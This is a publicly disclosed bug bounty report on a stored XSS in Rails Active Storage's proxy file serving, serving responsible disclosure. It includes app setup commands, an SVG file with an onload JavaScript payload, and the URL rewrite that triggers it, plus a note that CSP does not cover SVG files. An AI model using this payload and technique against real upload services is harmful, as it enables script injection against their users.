HexBrain

Ruby on Rails · Report #949513

XSS by file (Active Storage `Proxying`)

Validstatus
mediumseverity
$500bounty
3upvotes
1 Sept 2020disclosed

How it was found

Hello, I've seen similar issues with #407319 and #429868 occur with Active Storage's new File serving strategies Proxying.

Commit is https://github.com/rails/rails/commit/dfb5a82b259e134eac89784ac4ace0c44d1b4aee.

# https://github.com/rails/rails/blob/master/activestorage/app/controllers/concerns/active_storage/set_headers.rb#L9
      response.headers["Content-Disposition"] = ActionDispatch::Http::ContentDisposition.format \
        disposition: params[:disposition] || "inline", filename: blob.filename.
# https://github.com/rails/rails/blob/master/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb

# Proxy files through application. This avoids having a redirect and makes files easier to cache.
class ActiveStorage::Blobs::ProxyController < ActiveStorage::BaseController
  include ActiveStorage::SetBlob
  include ActiveStorage::SetHeaders

  def show
    http_cache_forever public: true do
      set_content_headers_from @blob
      stream @blob
    end
  end
end  

Since inline can be set regardless of the file type, XSS is possible when a malicious file is uploaded.

Proof of concept

1. Preparing the server

$ rails new proxy_xss --skip-bundle --skip-webpack-install
$ cd proxy_xss/

Edit Gemfile.

source 'https://rubygems.org'
git_source(:github) { |repo| "https://github.com/#{repo}.git" }

ruby '2.7.1'

gem 'rails', github: "rails/rails", branch: "master"
gem 'sqlite3', '~> 1.4'
gem 'puma', '~> 4.1'

gem 'bootsnap', '>= 1.4.2', require: false

group :development do
  gem 'listen', '~> 3.2'
end
$ bundle install
...

$ head Gemfile.lock
GIT
  remote: https://github.com/rails/rails.git
  revision: 11f54e12b992f6c8d29fd9bedd89ac438a928a2f
  branch: master
  specs:
    actioncable (6.1.0.alpha)
      actionpack (= 6.1.0.alpha)
      activesupport (= 6.1.0.alpha)
      nio4r (~> 2.0)
      websocket-driver (>= 0.6.1)
$ bundle exec rails active_storage:install
$ bundle exec rails g resource user name:text
$ bundle exec rails db:migrate

Edit app files.

# controllers/users_controller.rb
class UsersController < ApplicationController

  def new
    @user = User.new
  end

  def create
    user = User.create!(user_params)
    redirect_to "/users/#{user.id}"
  end

  def show
    @user = User.find(params[:id])
  end

  private
    def user_params
      params.require(:user).permit(:name, :image)
    end
end
# models/user.rb
class User < ApplicationRecord
  has_one_attached :image
end
# views/layouts/application.html.erb
<!DOCTYPE html>
<html>
  <head>
    <title>ProxyXss</title>
    <%= csrf_meta_tags %>
    <%= csp_meta_tag %>
  </head>

  <body>
    <%= yield %>
  </body>
</html>
# views/user/new.html.erb
<%= form_with model: @user, local: true, :url => {:action => :create}  do |form| %>
  <%= form.text_area :name %><br>
  <%= form.file_field :image %><br>
  <%= form.submit %>
<% end %>
# views/user/show.html.erb
<% if @user.image.attached? %>
  <%= image_tag @user.image %>
<% end %>

2. Obtain url

Start server.

rails s

Open http://localhost:3000/users/new in your browser, Upload the following file as alert.svg.

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns='http://www.w3.org/2000/svg' width="200px" height="200px" onload="javascript:alert(location)">
</svg>

After that, use the developer tool to obtain the redirected URL.

http://localhost:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCZz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ed4ee8109834f4dd747bfb68d7a7ddc2e43e8f69/alert.svg

3. XSS

Rewrite redirect in URL to proxy and alert will appear when opening URL directly in browser.

http://localhost:3000/rails/active_storage/blobs/proxy/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCZz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ed4ee8109834f4dd747bfb68d7a7ddc2e43e8f69/alert.svg

{F933309}

Impact

XSS is possible if attacker can upload files using Active storage. This commit has not been released yet, so it only affects services using Rails on the master branch. (Maybe Hey etc. https://gist.github.com/dhh/782fb925b57450da28c1e15656779556#file-gemfile-L3)

In addition, since the csp header is not output for the svg file (https://github.com/rails/rails/blob/master/actionpack/lib/action_dispatch/http/content_security_policy.rb#L20), it can be avoided even if csp is set.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original